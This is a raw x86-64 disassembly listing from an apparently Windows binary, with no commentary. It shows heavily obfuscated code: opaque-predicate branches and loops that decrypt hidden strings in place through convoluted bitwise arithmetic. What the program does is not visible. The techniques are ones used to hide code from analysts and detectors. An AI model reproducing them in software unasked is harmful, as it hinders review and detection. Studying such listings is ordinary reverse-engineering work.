lea edi, [rbx - 1]
imul edi, ebx
and edi, 1
je 0x14019f278
jmp 0x14019f2cb
jmp 0x14019f2cd
jmp 0x14019f2cf
jmp 0x14019f2d1
mov al, byte [0x140264fba]
mov byte [rbp + 0x340], al
movdqu xmm0, xmmword [0x140264faa]
movdqa xmmword [rbp + 0x330], xmm0
mov dl, 0x7a
mov esi, 0xffffffc6
xor ecx, ecx
movzx edx, dl
lea ebx, [rcx + 0x39]
mov edi, ebx
and edi, 0x2e7e8384
mov eax, esi
and eax, 0xd1817c7b
or eax, edi
xor eax, 0x7debb6e
and eax, esi
and ebx, 0x29a038ea
or ebx, eax
mov eax, edx
and eax, 0x15
or eax, 0x21a008a2
and edx, 0xffffffea
xor edx, eax
mov eax, edx
xor eax, 0xb7
xor edx, ebx
xor edx, 0xb7
and edx, ebx
not ebx
and ebx, eax
or ebx, edx
mov byte [rbp + rcx + 0x330], bl
cmp rcx, 0x10
je 0x14019f362
movzx edx, byte [rbp + rcx + 0x331]
add esi, 0xffffffff
add rcx, 1
jmp 0x14019f2f8
lea rcx, [0x1406d38a8]
lea rdx, [rbp + 0x330]
call fcn.1401dffd0
cmp dword [0x1406d4ce8], 0xa
jl 0x14019f3cd
mov eax, dword [0x1406d4cec]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x14019f3cd
lea rsi, [0x1406d38a8]
lea rdi, [rbp + 0x330]
mov rcx, rsi
mov rdx, rdi
call fcn.1401dffd0
mov rcx, rsi
mov rdx, rdi
call fcn.1401dffd0
cmp dword [0x1406d4ce8], 0xa
jl 0x14019f3cd
mov eax, dword [0x1406d4cec]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x14019f39d
mov rax, qword [0x140264f10]
mov qword [rbp + 0x597], rax
mov rax, qword [0x140264f09]
mov qword [rbp + 0x590], rax
mov eax, dword [0x1406cdffc]
lea ecx, [rax - 1]
imul ecx, eax
cmp dword [0x1406cdff8], 0xa
setge al
and al, cl
test al, al
jne 0x14019f401
mov dl, 0x6a
mov eax, 1
mov r8d, 0xffffffc6
movzx edx, dl
mov ecx, r8d
and ecx, 0xa84519ca
lea edi, [rax + 0x38]
mov esi, edi
and esi, 0x57bae635
or esi, ecx
xor esi, edx
xor esi, 0xca
and esi, edi
mov ecx, r8d
and ecx, 0x40
mov ebx, edi
and ebx, 0x30
or ebx, ecx
and edi, 0x8f
or edi, ebx
xor edi, edx
xor edi, 0x40
and edi, edx
or edi, esi
mov byte [rbp + rax + 0x58f], dil
cmp rax, 0xf
je 0x14019f473
movzx edx, byte [rbp + rax + 0x590]
add rax, 1
add r8d, 0xffffffff
jmp 0x14019f412
lea rsi, [rbp + 0x330]
mov rcx, rsi
call fcn.1400c4c10
lea rdi, [rbp + 0x590]
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rcx, rsi
mov rdx, rdi
mov r8, rax
call fcn.1400bd4c0
cmp qword [rbp + 0x348], 0x10
jb 0x14019f4b0
mov rsi, qword [rbp + 0x330]
lea rcx, [0x1406d38e8]
mov rdx, rsi
call fcn.1401dffd0
cmp dword [0x1406d4ce8], 0xa
jl 0x14019f510
mov eax, dword [0x1406d4cec]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x14019f510
lea rdi, [0x1406d38e8]
mov rcx, rdi
mov rdx, rsi
call fcn.1401dffd0
mov rcx, rdi
mov rdx, rsi
call fcn.1401dffd0
cmp dword [0x1406d4ce8], 0xa
jl 0x14019f510
mov eax, dword [0x1406d4cec]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x14019f4e0
cmp dword [0x1406cdc94], 0xa
jl 0x14019f52c
mov eax, dword [0x1406cdc90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x14019f52c
jmp 0x14019f52a
lea rcx, [rbp + 0x330]
call fcn.1400bd050
cmp dword [0x1406cdc94], 0xa
jl 0x14019f554
mov eax, dword [0x1406cdc90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x14019f554
jmp 0x14019f552
mov eax, dword [0x1406d3cd0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x1406d3cd4], 0xa
setl al
or al, cl
mov ecx, dword [0x1406d3cd8]
mov edx, dword [0x1406d3cdc]
jne 0x14019f58b
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
jmp 0x14019f5bb
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
cmp edx, 0xa
jl 0x14019f59d
test ebx, ebx
jne 0x14019f5e0
cmp dword [0x1406d3ce0], 0xa
jl 0x14019f5b7
mov edi, dword [0x1406d3ce4]
lea esi, [rdi - 1]
imul esi, edi
and esi, 1
jne 0x14019f5e4
test al, al
jne 0x14019f5e6
cmp edx, 0xa
jl 0x14019f5c4
test ebx, ebx
jne 0x14019f5e2
cmp dword [0x1406d3ce0], 0xa
jl 0x14019f58b
mov ebx, dword [0x1406d3ce4]
lea edi, [rbx - 1]
imul edi, ebx
and edi, 1
je 0x14019f58b
jmp 0x14019f5de
jmp 0x14019f5e0
jmp 0x14019f5e2
jmp 0x14019f5e4
mov al, byte [str.Iw_TDI_V__7_vFw]
mov byte [rbp + 0x5a0], al
movdqu xmm0, xmmword [0x140264f18]
movdqa xmmword [rbp + 0x590], xmm0
mov dl, 0x6a
mov esi, 0xffffffc6
xor ecx, ecx
movzx edx, dl
lea ebx, [rcx + 0x39]
mov edi, ebx
and edi, 0x2e7e8384
mov eax, esi
and eax, 0xd1817c7b
or eax, edi
xor eax, 0x7debb6e
and eax, esi
and ebx, 0x29a038ea
or ebx, eax
mov eax, edx
and eax, 0x15
or eax, 0x21a008a2
and edx, 0xffffffea
xor edx, eax
mov eax, edx
xor eax, 0xb7
xor edx, ebx
xor edx, 0xb7
and edx, ebx
not ebx
and ebx, eax
or ebx, edx
mov byte [rbp + rcx + 0x590], bl
cmp rcx, 0x10
je 0x14019f675
movzx edx, byte [rbp + rcx + 0x591]
add esi, 0xffffffff
add rcx, 1
jmp 0x14019f60b
lea rsi, [rbp + 0x330]
mov rcx, rsi
call fcn.1400c4c10
lea rdi, [rbp + 0x590]
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rcx, rsi
mov rdx, rdi
mov r8, rax
call fcn.1400bd4c0
cmp qword [rbp + 0x348], 0x10
jb 0x14019f6b2
mov rsi, qword [rbp + 0x330]
lea rcx, [0x1406d34a8]
mov rdx, rsi
call fcn.1401dffd0
cmp dword [0x1406d4ce8], 0xa
jl 0x14019f712
mov eax, dword [0x1406d4cec]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x14019f712
lea rdi, [0x1406d34a8]
mov rcx, rdi
mov rdx, rsi
call fcn.1401dffd0
mov rcx, rdi
mov rdx, rsi
call fcn.1401dffd0
cmp dword [0x1406d4ce8], 0xa
jl 0x14019f712
mov eax, dword [0x1406d4cec]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x14019f6e2
cmp dword [0x1406cdc94], 0xa
jl 0x14019f72e
mov eax, dword [0x1406cdc90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x14019f72e
jmp 0x14019f72c
lea rcx, [rbp + 0x330]
call fcn.1400bd050
cmp dword [0x1406cdc94], 0xa
jl 0x14019f756
mov eax, dword [0x1406cdc90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x14019f756
jmp 0x14019f754
mov eax, dword [0x1406d3cd0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x1406d3cd4], 0xa
setl al
or al, cl
mov ecx, dword [0x1406d3cd8]
mov edx, dword [0x1406d3cdc]
jne 0x14019f78d
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
jmp 0x14019f7c1
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
cmp edx, 0xa
jl 0x14019f79f
test ebx, ebx
jne 0x14019f7e6
cmp dword [0x1406d3ce0], 0xa
jl 0x14019f7b9
mov edi, dword [0x1406d3ce4]
lea esi, [rdi - 1]
imul esi, edi
and esi, 1
jne 0x14019f7ea
test al, al
jne 0x1401a2c08
cmp edx, 0xa
jl 0x14019f7ca
test ebx, ebx
jne 0x14019f7e8
cmp dword [0x1406d3ce0], 0xa
jl 0x14019f78d
mov ebx, dword [0x1406d3ce4]
lea edi, [rbx - 1]
imul edi, ebx
and edi, 1
je 0x14019f78d
jmp 0x14019f7e4
jmp 0x14019f7e6
jmp 0x14019f7e8
jmp 0x14019f7ea
test cl, cl
je 0x14019f8a0
mov edx, dword [0x1406d4098]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
sete bl
cmp dword [0x1406d409c], 0xa
setl dl
or dl, bl
jne 0x14019f81d
xor ebx, ebx
test bl, 1
mov ebx, edx
je 0x14019f816
movdqa xmm1, xmmword [str._n_n_n_n]
movdqa xmm2, xmm0
pand xmm2, xmm1
movdqa xmm3, xmmword [0x1402658b0]
pand xmm3, xmm0
pand xmm0, xmmword [0x1402658c0]
por xmm0, xmm1
pxor xmm0, xmm2
por xmm0, xmm3
pxor xmm0, xmmword [str.6103]
movdqa xmmword [rbp + 0x200], xmm0
movzx edx, word [rbp + 0x200]
movzx ebx, word [rbp + 0x202]
rol dx, 8
rol bx, 8
mov word [rbp + 0x590], bx
mov word [rbp + 0x592], dx
mov edx, ecx
and dl, 0xa
mov ebx, ecx
and bl, 0x41
and cl, 0xb4
or cl, 0xa
xor cl, dl
or cl, bl
xor cl, 0x37
mov byte [rbp + 0x594], cl
jmp 0x14019f8a2
xor ecx, ecx
test al, al
jne 0x14019f968
test cl, cl
je 0x14019f961
mov edx, dword [0x1406d4098]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
sete bl
cmp dword [0x1406d409c], 0xa
setl dl
or dl, bl
jne 0x14019f8db
xor ebx, ebx
test bl, 1
mov ebx, edx
je 0x14019f8d4
movdqa xmm1, xmmword [str._n_n_n_n]
movdqa xmm2, xmm0
pand xmm2, xmm1
movdqa xmm3, xmmword [0x1402658b0]
pand xmm3, xmm0
pand xmm0, xmmword [0x1402658c0]
por xmm0, xmm1
pxor xmm0, xmm2
por xmm0, xmm3
pxor xmm0, xmmword [str.6103]
movdqa xmmword [rbp + 0x210], xmm0
movzx edx, word [rbp + 0x210]
movzx ebx, word [rbp + 0x212]
rol dx, 8
rol bx, 8
mov word [rbp + 0x590], bx
mov word [rbp + 0x592], dx
mov edx, ecx
and dl, 0xa
mov ebx, ecx
and bl, 0x41
and cl, 0xb4
or cl, 0xa
xor cl, dl
or cl, bl
xor cl, 0x37
mov byte [rbp + 0x594], cl
jmp 0x14019f7ec
xor ecx, ecx
jmp 0x14019f7ec
lea rsi, [rbp + 0x330]
mov rcx, rsi
call fcn.1400c4c10
lea rdi, [rbp + 0x590]
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rcx, rsi
mov rdx, rdi
mov r8, rax
call fcn.1400bd4c0
cmp qword [rbp + 0x348], 0x10
jb 0x14019f9a5
mov rsi, qword [rbp + 0x330]
lea rcx, [0x1406d3488]
mov rdx, rsi
call fcn.1400e2e50
mov r14d, eax
cmp dword [0x1406cdc94], 0xa
jl 0x14019f9d3
mov eax, dword [0x1406cdc90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x14019f9d3
jmp 0x14019f9d1
lea rcx, [rbp + 0x330]
call fcn.1400bd050
cmp dword [0x1406cdc94], 0xa
jl 0x14019f9fb
mov eax, dword [0x1406cdc90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x14019f9fb
jmp 0x14019f9f9
mov eax, dword [0x1406d3cd0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x1406d3cd4], 0xa
setl al
or al, cl
mov ecx, dword [0x1406d3cd8]
mov edx, dword [0x1406d3cdc]
jne 0x14019fa32
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
jmp 0x14019fa62
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
cmp edx, 0xa
jl 0x14019fa44
test edi, edi
jne 0x14019fa87
cmp dword [0x1406d3ce0], 0xa
jl 0x14019fa5e
mov esi, dword [0x1406d3ce4]
lea ebx, [rsi - 1]
imul ebx, esi
and ebx, 1
jne 0x14019fa8b
test al, al
jne 0x14019fa8d
cmp edx, 0xa
jl 0x14019fa6b
test edi, edi
jne 0x14019fa89
cmp dword [0x1406d3ce0], 0xa
jl 0x14019fa32
mov ebx, dword [0x1406d3ce4]
lea edi, [rbx - 1]
imul edi, ebx
and edi, 1
je 0x14019fa32
jmp 0x14019fa85
jmp 0x14019fa87
jmp 0x14019fa89
jmp 0x14019fa8b
test r14b, r14b
je 0x14019fc31
movups xmm0, xmmword [0x140264f56]
movups xmmword [rbp + 0x59c], xmm0
movdqu xmm0, xmmword [0x140264f4a]
movdqa xmmword [rbp + 0x590], xmm0
mov eax, dword [0x1406cdc80]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1406cdc84], 0xa
setl r9b
or r9b, al
mov r10d, dword [0x1406d3cc0]
mov al, 0x54
mov r8d, dword [0x1406d3cc4]
jne 0x14019fdf6
mov edx, dword [0x1406d3cc8]
mov ecx, dword [0x1406d3ccc]
lea eax, [rdx - 1]
imul eax, edx
cmp ecx, 0xa
setge dl
and dl, al
test dl, dl
jne 0x14019fb04
cmp ecx, 0xa
setl r11b
test al, 1
sete al
mov ecx, r11d
and cl, al
xor cl, 1
xor r11b, al
mov eax, r11d
xor al, cl
not r11b
or r11b, cl
and r11b, al
jne 0x14019fc2f
mov r14d, 0x7fffffc6
xor r15d, r15d
cmp r15, 0x1c
je 0x14019fdc5
movzx eax, byte [rbp + r15 + 0x590]
mov edx, eax
and edx, 0x48
or edx, 0x40800092
mov ecx, eax
and ecx, 0xffffffb7
xor ecx, edx
mov edx, ecx
xor edx, 0xbcc47a38
or ecx, 0x3bb8555
xor ecx, 0x3bb85d7
or ecx, edx
and eax, 0xffffffaa
lea edx, [r15 + 0x39]
lea ebx, [r14 - 0x80000000]
and ebx, 0x80500224
mov edi, edx
and edi, 0x7dabfddb
or edi, ebx
mov ebx, edi
and ebx, 0xfc407aaa
xor ebx, 0x80440220
xor edi, 0x7e10788e
or edi, ebx
mov ebx, r14d
and ebx, 0x74da589b
and edx, 0x8b25a764
or edx, ebx
mov ebx, edx
and ebx, 0x3bb8555
xor ebx, 0x3218544
xor edx, 0x889e2231
or edx, ebx
mov r12d, ecx
not r12d
and r12d, eax
mov esi, edx
and esi, 0xf772f0b9
mov ebx, edx
and ebx, 0x88d0f46
or ebx, 0xa1204030
xor esi, edi
xor esi, ebx
or edx, edi
mov edi, esi
xor edi, 0xcf
xor esi, edx
xor esi, 0xcf
or edi, edx
not edi
or edi, esi
xor eax, ecx
xor eax, edi
xor eax, r12d
not al
mov byte [rbp + r15 + 0x590], al
add r15, 1
add r14d, 0xffffffff
test r11b, r11b
je 0x14019fb3c
jmp 0x14019fc2f
movabs rax, 0x407a6a7c6a726869
mov qword [rbp + 0x590], rax
mov eax, dword [0x1406d40a0]
lea ecx, [rax - 1]
imul ecx, eax
cmp dword [0x1406d40a4], 0xa
setge r8b
and r8b, cl
mov al, 0x69
mov r10d, 1
mov r9d, 0xffffffc6
movzx ecx, al
mov eax, ecx
not eax
lea ebx, [r10 + 0x38]
and eax, ebx
lea edx, [r9 + 0x4000000]
and edx, 0x2112001
mov edi, ebx
and edi, 0x7d8219c2
or edi, edx
mov edx, r9d
and edx, 0x80644424
and ebx, 0x88218
or ebx, edi
or ebx, edx
mov edx, ebx
xor edx, 0x7d8a9bda
or edx, ecx
xor ebx, ecx
xor ebx, 0x82756425
and ebx, edx
mov esi, ebx
mov r11d, eax
mov edi, eax
mov edx, ebx
mov ecx, ebx
xor ebx, eax
not eax
not esi
and r11d, 0x1126c810
and esi, eax
and eax, 0x440130c6
add eax, r11d
add eax, 0x2a880009
and edi, 0xaad80729
xor edi, eax
mov eax, edi
xor eax, 0x3baec819
and edx, 0x500738d6
or edx, 0x80000008
and ecx, 0xaad80729
xor ecx, edx
mov edx, ecx
xor edx, 0xd00738de
xor edi, 0xc45137e6
and edi, edx
xor ecx, 0x2ff8c721
and ecx, eax
or ecx, edi
or ebx, esi
mov eax, ebx
xor eax, ecx
not eax
not ebx
and ebx, ecx
or ebx, eax
mov byte [rbp + r10 + 0x58f], bl
test r8b, r8b
jne 0x14019fd50
cmp r10, 8
je 0x14019fd52
movzx eax, byte [rbp + r10 + 0x590]
add r10, 1
add r9d, 0xffffffff
jmp 0x14019fc6a
jmp 0x14019fd50
lea rsi, [rbp + 0x330]
mov rcx, rsi
call fcn.1400c4c10
lea rdi, [rbp + 0x590]
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rcx, rsi
mov rdx, rdi
mov r8, rax
call fcn.1400bd4c0
cmp qword [rbp + 0x348], 0x10
jb 0x14019fd8f
mov rsi, qword [rbp + 0x330]
lea rcx, [0x1406d3488]
mov rdx, rsi
call fcn.1400e2e50
mov r14d, eax
cmp dword [0x1406cdc94], 0xa
jl 0x14019ff8c
mov eax, dword [0x1406cdc90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x14019ff8c
jmp 0x14019fdc3
lea eax, [r10 - 1]
imul eax, r10d
test al, 1
sete cl
cmp r8d, 0xa
setl al
mov edx, eax
and dl, cl
xor dl, 1
xor al, cl
mov ecx, eax
xor cl, dl
not al
or al, dl
and al, cl
test al, al
jne 0x14019fdec
mov al, byte [rbp + 0x5ab]
test al, al
je 0x14019ff71
lea r11d, [r10 - 1]
imul r11d, r10d
mov edx, dword [0x1406d3cc8]
mov ecx, dword [0x1406d3ccc]
lea eax, [rdx - 1]
imul eax, edx
cmp ecx, 0xa
setge dl
and dl, al
test dl, dl
jne 0x14019fe20
cmp ecx, 0xa
setl r14b
test al, 1
sete al
mov ecx, r14d
and cl, al
xor cl, 1
xor r14b, al
mov eax, r14d
xor al, cl
not r14b
or r14b, cl
and r14b, al
jne 0x14019ff8a
mov r15d, 0x7fffffc6
xor r12d, r12d
cmp r12, 0x1c
je 0x14019ff4c
movzx ecx, byte [rbp + r12 + 0x590]
mov edx, ecx
and edx, 0x48
or edx, 0x40800092
mov eax, ecx
and eax, 0xffffffb7
xor eax, edx
mov edx, eax
xor edx, 0xbcc47a38
or eax, 0x3bb8555
xor eax, 0x3bb85d7
or eax, edx
and ecx, 0xffffffaa
lea edx, [r12 + 0x39]
lea esi, [r15 - 0x80000000]
and esi, 0x80500224
mov edi, edx
and edi, 0x7dabfddb
or edi, esi
mov esi, edi
and esi, 0xfc407aaa
xor esi, 0x80440220
xor edi, 0x7e10788e
or edi, esi
mov esi, r15d
and esi, 0x74da589b
and edx, 0x8b25a764
or edx, esi
mov esi, edx
and esi, 0x3bb8555
xor esi, 0x3218544
xor edx, 0x889e2231
or edx, esi
mov r13d, eax
not r13d
and r13d, ecx
mov ebx, edx
and ebx, 0xf772f0b9
mov esi, edx
and esi, 0x88d0f46
or esi, 0xa1204030
xor ebx, edi
xor ebx, esi
or edx, edi
mov esi, ebx
xor esi, 0xcf
xor ebx, edx
xor ebx, 0xcf
or esi, edx
not esi
or esi, ebx
xor ecx, eax
xor ecx, esi
xor ecx, r13d
not cl
mov byte [rbp + r12 + 0x590], cl
add r12, 1
add r15d, 0xffffffff
test r14b, r14b
je 0x14019fe58
jmp 0x14019ff8a
test r11b, 1
sete cl
cmp r8d, 0xa
setl al
mov edx, eax
and dl, cl
xor dl, 1
xor al, cl
mov ecx, eax
xor cl, dl
not al
or al, dl
and al, cl
test al, al
jne 0x14019ff6d
test r9b, r9b
jne 0x14019fff2
xor eax, eax
cmp byte [rbp + 0x5ab], 0
je 0x14019fdf6
jmp 0x14019faea
jmp 0x14019ff8a
lea rcx, [rbp + 0x330]
call fcn.1400bd050
cmp dword [0x1406cdc94], 0xa
jl 0x14019ffb4
mov eax, dword [0x1406cdc90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x14019ffb4
jmp 0x14019ffb2
mov eax, dword [0x1406d3cd0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x1406d3cd4], 0xa
setl al
or al, cl
mov ecx, dword [0x1406d3cd8]
mov edx, dword [0x1406d3cdc]
jne 0x1401a0c52
lea edi, [rcx - 1]
imul edi, ecx
and edi, 1
jmp 0x1401a0c82
lea rsi, [rbp + 0x330]
mov rcx, rsi
call fcn.1400c4c10
lea rdi, [rbp + 0x590]
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rcx, rsi
mov rdx, rdi
mov r8, rax
call fcn.1400bd4c0
cmp qword [rbp + 0x348], 0x10
jb 0x1401a002f
mov rsi, qword [rbp + 0x330]
lea rcx, [0x1406d34c8]
mov rdx, rsi
call fcn.1401dffd0
cmp dword [0x1406d4ce8], 0xa
jl 0x1401a008f
mov eax, dword [0x1406d4cec]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1401a008f
lea rdi, [0x1406d34c8]
mov rcx, rdi
mov rdx, rsi
call fcn.1401dffd0
mov rcx, rdi
mov rdx, rsi
call fcn.1401dffd0
cmp dword [0x1406d4ce8], 0xa
jl 0x1401a008f
mov eax, dword [0x1406d4cec]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1401a005f
cmp dword [0x1406cdc94], 0xa
jl 0x1401a00ab
mov eax, dword [0x1406cdc90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1401a00ab
jmp 0x1401a00a9
lea rcx, [rbp + 0x330]
call fcn.1400bd050
cmp dword [0x1406cdc94], 0xa
jl 0x1401a00d3
mov eax, dword [0x1406cdc90]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1401a00d3
jmp 0x1401a00d1
mov eax, dword [0x1406d3cd0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x1406d3cd4], 0xa
setl al
or al, cl
mov ecx, dword [0x1406d3cd8]
mov edx, dword [0x1406d3cdc]
jne 0x1401a010a
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
jmp 0x1401a013a
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
cmp edx, 0xa
jl 0x1401a011c
test ebx, ebx
jne 0x1401a015f
cmp dword [0x1406d3ce0], 0xa
jl 0x1401a0136
mov edi, dword [0x1406d3ce4]
lea esi, [rdi - 1]
imul esi, edi
and esi, 1
jne 0x1401a0163
test al, al
jne 0x1401a0165
cmp edx, 0xa
jl 0x1401a0143
test ebx, ebx
jne 0x1401a0161
cmp dword [0x1406d3ce0], 0xa
jl 0x1401a010a
mov ebx, dword [0x1406d3ce4]
lea edi, [rbx - 1]
imul edi, ebx
and edi, 1
je 0x1401a010a
jmp 0x1401a015d
jmp 0x1401a015f
jmp 0x1401a0161
jmp 0x1401a0163
movzx eax, word [0x140264f76]
mov word [rbp + 0x340], ax
movdqu xmm0, xmmword [0x140264f66]
mov eax, dword [0x1406d0088]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete cl
cmp dword [0x1406d008c], 0xa
setl r8b
or r8b, cl
mov ecx, dword [0x1406d43d0]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete dl
cmp dword [0x1406d43d4], 0xa
movdqa xmmword [rbp + 0x330], xmm0
setl r9b
or r9b, dl
xor edx, edx
movzx ebx, byte [rbp + rdx + 0x330]
mov edi, 0x7fffffc6
sub edi, edx
and edi, 0x48858210
lea ecx, [rdx + 0x39]
mov eax, ecx
and eax, 0x84204042
or eax, edi
mov esi, 0x3fffffc6
sub esi, edx
and esi, 0x335a3dad
or esi, eax
mov eax, esi
xor eax, 0xcc42092b
or esi, 0x48624969
xor esi, 0x7bfffffd
or esi, eax
mov eax, ecx
and eax, 0x1f72f2b6
mov edi, 0xffffffc6
sub edi, edx
and edi, 0xe08d0d49
or edi, eax
or ecx, 0xb79db696
xor edi, 0xa8ef4420
and edi, ecx
mov eax, esi
not eax
and eax, edi
xor edi, esi
xor edi, eax
mov eax, ebx
xor eax, 0xfc
mov ecx, edi
xor ecx, 0x6a
xor ebx, 3
and ebx, ecx
xor edi, 0x95
and edi, eax
or edi, ebx
mov byte [rbp + rdx + 0x330], dil
test r9b, r9b
je 0x1401a0334
add rdx, 1
cmp rdx, 0x12
jne 0x1401a01c5
test r8b, r8b
jne 0x1401a0336
mov r10d, 0x7fffffc6
xor ebx, ebx
movzx edi, byte [rbp + rbx + 0x330]
mov eax, r10d
and eax, 0x48858210
lea edx, [rbx + 0x39]
mov ecx, edx
and ecx, 0x84204042
or ecx, eax
lea eax, [r10 - 0x40000000]
and eax, 0x335a3dad
or eax, ecx
mov ecx, eax
xor ecx, 0xcc42092b
or eax, 0x48624969
xor eax, 0x7bfffffd
or eax, ecx
mov ecx, edx
and ecx, 0x1f72f2b6
lea esi, [r10 - 0x80000000]
and esi, 0xe08d0d49
or esi, ecx
or edx, 0xb79db696
xor esi, 0xa8ef4420
and esi, edx
mov ecx, eax
not ecx
and ecx, esi
xor esi, eax
xor esi, ecx
mov eax, edi
xor eax, 0xfc
mov ecx, esi
xor ecx, 0x6a
xor edi, 3
and edi, ecx
xor esi, 0x95
and esi, eax
or esi, edi
mov byte [rbp + rbx + 0x330], sil
test r9b, r9b
je 0x1401a0332
add rbx, 1
add r10d, 0xffffffff
cmp rbx, 0x12
jne 0x1401a0283
xor edx, edx
jmp 0x1401a01c5
jmp 0x1401a0332
jmp 0x1401a0334
lea rcx, [0x1406d38a8]
lea rdx, [rbp + 0x330]
call fcn.1401dffd0
cmp dword [0x1406d4ce8], 0xa
jl 0x1401a03a1
mov eax, dword [0x1406d4cec]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x1401a03a1
lea rsi, [0x1406d38a8]
lea rdi, [rbp + 0x330]
mov rcx, rsi
mov rdx, rdi
call fcn.1401dffd0
mov rcx, rsi
mov rdx, rdi
call fcn.1401dffd0
cmp dword [0x1406d4ce8], 0xa
jl 0x1401a03a1
mov eax, dword [0x1406d4cec]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
jne 0x1401a0371
mov edx, dword [0x1406d4d68]
cmp dword [0x1406d4d6c], 0xa
mov rax, qword [0x140264f29]
mov qword [rbp + 0x590], rax
mov rcx, qword [0x140264f2f]
mov qword [rbp + 0x596], rcx
jl 0x1401a03e7
lea ebx, [rdx - 1]
imul ebx, edx
and ebx, 1
je 0x1401a03e7
mov qword [rbp + 0x596], rcx
mov qword [rbp + 0x590], rax
jmp 0x1401a03d7
mov eax, dword [0x1406ce0a0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1406ce0a4], 0xa
setl r8b
or r8b, al
mov r9d, 0x77
mov r10b, 0x77
cmp r8b, 1
jne 0x1401a04ea
movzx r9d, r10b
xor r9d, 0x92cd2939
mov byte [rbp + 0x590], r9b
mov edx, 1
mov ebx, 0x1fffffc5
movzx r10d, byte [rbp + rdx + 0x590]
mov esi, ebx
and esi, 0x10410804
lea ecx, [rdx + 0x39]
lea eax, [rbx - 0x1ff00000]
and eax, 0x8202b
or eax, esi
and ecx, 0x65301650
lea esi, [rbx - 0x10000000]
and esi, 0x802c080
or esi, ecx
mov ecx, esi
xor ecx, 0x802c080
mov edi, esi
and edi, 0x6902d610
xor esi, 0x60204250
and esi, ecx
and ecx, 0x43000c0
or ecx, edi
mov edi, ecx
xor edi, 0xf7fd3fff
xor ecx, 0xf0e96bff
and ecx, edi
mov edi, ecx
and edi, 0x6d3afefe
xor edi, esi
and esi, ecx
or esi, edi
xor esi, eax
mov eax, esi
xor eax, 0xeaaeabfe
mov ecx, eax
xor ecx, r10d
xor ecx, 0x2f
and ecx, eax
xor r10d, 0x2f
xor esi, 1
and esi, r10d
or esi, ecx
mov byte [rbp + rdx + 0x590], sil
add rdx, 1
add ebx, 0xffffffff
cmp rdx, 0xe
jne 0x1401a0436
test r8b, r8b
jne 0x1401a05b2
mov r10d, r9d
xor r10b, 0x39
mov byte [rbp + 0x590], r10b
mov ecx, 1
mov ebx, 0x1fffffc5
movzx r9d, byte [rbp + rcx + 0x590]
mov esi, ebx
and esi, 0x10410804
lea edx, [rcx + 0x39]
lea eax, [rbx - 0x1ff00000]
and eax, 0x8202b
or eax, esi
and edx, 0x65301650
lea esi, [rbx - 0x10000000]
and esi, 0x802c080
or esi, edx
mov edx, esi
xor edx, 0x802c080
mov edi, esi
and edi, 0x6902d610
xor esi, 0x60204250
and esi, edx
and edx, 0x43000c0
or edx, edi
mov edi, edx
xor edi, 0xf7fd3fff
xor edx, 0xf0e96bff
and edx, edi
mov edi, edx
and edi, 0x6d3afefe
xor edi, esi
and esi, edx
or esi, edi
xor esi, eax
mov eax, esi
xor eax, 0xeaaeabfe
mov edx, eax
xor edx, r9d
xor edx, 0x2f
and edx, eax
xor r9d, 0x2f
xor esi, 1
and esi, r9d
or esi, edx
mov byte [rbp + rcx + 0x590], sil
add rcx, 1
add ebx, 0xffffffff
cmp rcx, 0xe
jne 0x1401a0502
jmp 0x1401a041a
lea rsi, [rbp + 0x330]
mov rcx, rsi
call fcn.1400c4c10
lea rdi, [rbp + 0x590]
mov rcx, rdi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov rcx, rsi
mov rdx, rdi
mov r8, rax
call fcn.1400bd4c0
cmp qword [rbp + 0x348], 0x10
jb 0x1401a05ef
